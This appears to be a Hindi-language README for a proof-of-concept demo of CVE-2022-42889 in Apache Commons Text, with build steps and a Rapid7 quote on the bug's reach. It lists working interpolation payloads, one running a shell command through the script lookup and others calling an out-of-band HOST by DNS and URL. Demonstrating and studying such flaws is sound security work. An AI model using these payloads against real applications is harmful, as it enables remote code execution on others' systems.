CVE-2022-42889-POC

CVE-2022-42889 भेद्यता का शोषण करने का तरीका दिखाने वाला एक सरल डेमो एप्लिकेशन।
DNS और URL उपसर्गों को प्रदर्शित करने के लिए OOB (आउट ऑफ बैंड) सेवाओं का उपयोग करता है।

commons-text इंटरपोलेशन के लिए JavaDocs commons-text JavaDocs

उदाहरण इंटरपोलेशन

• script:javascript ("${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/blop')}")
• dns ("${dns:address|HOST}")
• url ("${url:UTF-8:http://HOST")

Rapid7 का उद्धरण

इस भेद्यता की तुलना Log4Shell से की गई है क्योंकि यह एक ओपन-सोर्स लाइब्रेरी-स्तरीय भेद्यता है जिसके प्रासंगिक ऑब्जेक्ट का उपयोग करने वाले विभिन्न प्रकार के सॉफ़्टवेयर अनुप्रयोगों को प्रभावित करने की संभावना है।
हालाँकि, प्रारंभिक विश्लेषण से पता चलता है कि यह एक गलत तुलना है। भेद्यता की प्रकृति का अर्थ है कि Log4Shell के विपरीत, यह दुर्लभ होगा कि कोई एप्लिकेशन Commons Text के असुरक्षित घटक का उपयोग अविश्वसनीय, संभावित रूप से दुर्भावनापूर्ण इनपुट को संसाधित करने के लिए करता है।

पूर्वापेक्षाएँ

• docker
• java
• maven

यदि कोई Docker Hub से इमेज लाता है तो Java और maven को छोड़ा जा सकता है।

उपयोग

एप्लिकेशन बनाएँ

mvn clean package

Docker इमेज बनाएँ

docker build -t cve-2022-42889-poc .